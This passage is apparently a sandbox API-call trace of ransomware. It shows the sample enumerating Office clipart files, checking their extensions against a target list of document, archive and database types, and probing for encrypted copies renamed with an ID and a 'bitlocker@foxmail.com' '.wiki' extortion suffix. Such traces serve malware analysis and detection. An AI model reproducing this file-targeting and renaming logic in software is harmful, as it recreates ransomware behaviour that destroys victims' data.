(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.793] lstrlenW (lpString=".doc") returned 4 [0157.793] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0157.793] lstrlenW (lpString=".docx") returned 5 [0157.793] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0157.793] lstrlenW (lpString=".pdf") returned 4 [0157.793] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0157.793] lstrlenW (lpString=".xls") returned 4 [0157.793] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0157.793] lstrlenW (lpString=".xlsx") returned 5 [0157.793] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0157.793] lstrlenW (lpString=".ppt") returned 4 [0157.793] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0157.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.793] lstrlenW (lpString=".zip") returned 4 [0157.793] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0157.793] lstrlenW (lpString=".rar") returned 4 [0157.793] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0157.793] lstrlenW (lpString=".bz2") returned 4 [0157.793] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0157.793] lstrlenW (lpString=".7z") returned 3 [0157.793] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0157.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.794] lstrlenW (lpString=".dbf") returned 4 [0157.794] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0157.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.794] lstrlenW (lpString=".1cd") returned 4 [0157.794] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0157.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.794] lstrlenW (lpString=".jpg") returned 4 [0157.794] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0157.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.794] lstrlenW (lpString=".doc") returned 4 [0157.794] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0157.794] lstrlenW (lpString=".docx") returned 5 [0157.794] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0157.794] lstrlenW (lpString=".pdf") returned 4 [0157.794] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0157.794] lstrlenW (lpString=".xls") returned 4 [0157.794] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0157.794] lstrlenW (lpString=".xlsx") returned 5 [0157.794] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0157.794] lstrlenW (lpString=".ppt") returned 4 [0157.794] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0157.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.794] lstrlenW (lpString=".zip") returned 4 [0157.794] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0157.794] lstrlenW (lpString=".rar") returned 4 [0157.794] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0157.794] lstrlenW (lpString=".bz2") returned 4 [0157.794] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0157.794] lstrlenW (lpString=".7z") returned 3 [0157.794] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0157.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.795] lstrlenW (lpString=".dbf") returned 4 [0157.795] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0157.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.795] lstrlenW (lpString=".1cd") returned 4 [0157.795] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0157.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0157.795] lstrlenW (lpString=".jpg") returned 4 [0157.795] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0157.795] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0157.795] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0157.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.952] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=5843) returned 1 [0158.952] CloseHandle (hObject=0x160) returned 1 [0158.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0158.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.952] lstrlenW (lpString=".doc") returned 4 [0158.952] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.952] lstrlenW (lpString=".docx") returned 5 [0158.952] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.952] lstrlenW (lpString=".pdf") returned 4 [0158.952] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.952] lstrlenW (lpString=".xls") returned 4 [0158.952] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.952] lstrlenW (lpString=".xlsx") returned 5 [0158.953] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.953] lstrlenW (lpString=".ppt") returned 4 [0158.953] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.953] lstrlenW (lpString=".zip") returned 4 [0158.953] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.953] lstrlenW (lpString=".rar") returned 4 [0158.953] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.953] lstrlenW (lpString=".bz2") returned 4 [0158.953] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.953] lstrlenW (lpString=".7z") returned 3 [0158.953] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.953] lstrlenW (lpString=".dbf") returned 4 [0158.953] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.953] lstrlenW (lpString=".1cd") returned 4 [0158.953] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.953] lstrlenW (lpString=".jpg") returned 4 [0158.953] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.953] lstrlenW (lpString=".doc") returned 4 [0158.953] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.953] lstrlenW (lpString=".docx") returned 5 [0158.953] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.953] lstrlenW (lpString=".pdf") returned 4 [0158.953] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.953] lstrlenW (lpString=".xls") returned 4 [0158.953] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.953] lstrlenW (lpString=".xlsx") returned 5 [0158.953] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.954] lstrlenW (lpString=".ppt") returned 4 [0158.954] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.954] lstrlenW (lpString=".zip") returned 4 [0158.954] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.954] lstrlenW (lpString=".rar") returned 4 [0158.954] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.954] lstrlenW (lpString=".bz2") returned 4 [0158.954] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.954] lstrlenW (lpString=".7z") returned 3 [0158.954] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.954] lstrlenW (lpString=".dbf") returned 4 [0158.954] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.954] lstrlenW (lpString=".1cd") returned 4 [0158.954] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0158.954] lstrlenW (lpString=".jpg") returned 4 [0158.954] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.954] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0158.954] lstrlenW (lpString="PARNT_06.MID") returned 12 [0158.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.955] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=7768) returned 1 [0158.955] CloseHandle (hObject=0x160) returned 1 [0158.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 0x20 [0158.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.955] lstrlenW (lpString=".doc") returned 4 [0158.955] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.955] lstrlenW (lpString=".docx") returned 5 [0158.955] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0158.955] lstrlenW (lpString=".pdf") returned 4 [0158.955] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.955] lstrlenW (lpString=".xls") returned 4 [0158.955] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.955] lstrlenW (lpString=".xlsx") returned 5 [0158.955] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0158.955] lstrlenW (lpString=".ppt") returned 4 [0158.955] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.955] lstrlenW (lpString=".zip") returned 4 [0158.955] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.956] lstrlenW (lpString=".rar") returned 4 [0158.956] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.956] lstrlenW (lpString=".bz2") returned 4 [0158.956] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.956] lstrlenW (lpString=".7z") returned 3 [0158.956] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.956] lstrlenW (lpString=".dbf") returned 4 [0158.956] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.956] lstrlenW (lpString=".1cd") returned 4 [0158.956] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.956] lstrlenW (lpString=".jpg") returned 4 [0158.956] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.956] lstrlenW (lpString=".doc") returned 4 [0158.956] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.956] lstrlenW (lpString=".docx") returned 5 [0158.956] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0158.956] lstrlenW (lpString=".pdf") returned 4 [0158.956] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.956] lstrlenW (lpString=".xls") returned 4 [0158.956] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.956] lstrlenW (lpString=".xlsx") returned 5 [0158.956] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0158.956] lstrlenW (lpString=".ppt") returned 4 [0158.956] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.957] lstrlenW (lpString=".zip") returned 4 [0158.957] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.957] lstrlenW (lpString=".rar") returned 4 [0158.957] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.957] lstrlenW (lpString=".bz2") returned 4 [0158.957] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.957] lstrlenW (lpString=".7z") returned 3 [0158.957] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.958] lstrlenW (lpString=".dbf") returned 4 [0158.958] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.958] lstrlenW (lpString=".1cd") returned 4 [0158.958] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0158.958] lstrlenW (lpString=".jpg") returned 4 [0158.958] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.958] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0158.958] lstrlenW (lpString="PARNT_07.MID") returned 12 [0158.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.958] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6564) returned 1 [0158.958] CloseHandle (hObject=0x160) returned 1 [0158.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0158.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.959] lstrlenW (lpString=".doc") returned 4 [0158.959] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.959] lstrlenW (lpString=".docx") returned 5 [0158.959] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0158.959] lstrlenW (lpString=".pdf") returned 4 [0158.959] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.959] lstrlenW (lpString=".xls") returned 4 [0158.959] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.959] lstrlenW (lpString=".xlsx") returned 5 [0158.959] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0158.959] lstrlenW (lpString=".ppt") returned 4 [0158.959] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.959] lstrlenW (lpString=".zip") returned 4 [0158.959] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.959] lstrlenW (lpString=".rar") returned 4 [0158.959] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.959] lstrlenW (lpString=".bz2") returned 4 [0158.960] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.960] lstrlenW (lpString=".7z") returned 3 [0158.960] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.960] lstrlenW (lpString=".dbf") returned 4 [0158.960] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.960] lstrlenW (lpString=".1cd") returned 4 [0158.960] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.960] lstrlenW (lpString=".jpg") returned 4 [0158.960] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.960] lstrlenW (lpString=".doc") returned 4 [0158.960] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.960] lstrlenW (lpString=".docx") returned 5 [0158.960] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0158.960] lstrlenW (lpString=".pdf") returned 4 [0158.960] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.960] lstrlenW (lpString=".xls") returned 4 [0158.960] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.960] lstrlenW (lpString=".xlsx") returned 5 [0158.960] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0158.960] lstrlenW (lpString=".ppt") returned 4 [0158.960] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.960] lstrlenW (lpString=".zip") returned 4 [0158.961] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.961] lstrlenW (lpString=".rar") returned 4 [0158.961] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.961] lstrlenW (lpString=".bz2") returned 4 [0158.961] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.961] lstrlenW (lpString=".7z") returned 3 [0158.961] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.961] lstrlenW (lpString=".dbf") returned 4 [0158.961] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.961] lstrlenW (lpString=".1cd") returned 4 [0158.961] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0158.961] lstrlenW (lpString=".jpg") returned 4 [0158.961] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.961] lstrcmpiW (lpString1=".MID", lpString2=".wiki") returned -1 [0158.961] lstrlenW (lpString="PARNT_08.MID") returned 12 [0158.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0158.962] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=7347) returned 1 [0158.962] CloseHandle (hObject=0x160) returned 1 [0158.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid")) returned 0x20 [0158.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0158.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.962] lstrlenW (lpString=".doc") returned 4 [0158.962] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.962] lstrlenW (lpString=".docx") returned 5 [0158.962] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0158.962] lstrlenW (lpString=".pdf") returned 4 [0158.962] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.962] lstrlenW (lpString=".xls") returned 4 [0158.962] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.962] lstrlenW (lpString=".xlsx") returned 5 [0158.962] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0158.962] lstrlenW (lpString=".ppt") returned 4 [0158.962] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.963] lstrlenW (lpString=".zip") returned 4 [0158.963] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.963] lstrlenW (lpString=".rar") returned 4 [0158.963] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.963] lstrlenW (lpString=".bz2") returned 4 [0158.963] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.963] lstrlenW (lpString=".7z") returned 3 [0158.963] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.963] lstrlenW (lpString=".dbf") returned 4 [0158.963] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.963] lstrlenW (lpString=".1cd") returned 4 [0158.963] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.963] lstrlenW (lpString=".jpg") returned 4 [0158.963] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0158.963] lstrlenW (lpString=".doc") returned 4 [0158.963] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.963] lstrlenW (lpString=".docx") returned 5 [0158.963] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0158.963] lstrlenW (lpString=".pdf") returned 4 [0158.963] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.963] lstrlenW (lpString=".xls") returned 4 [0158.963] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.964] 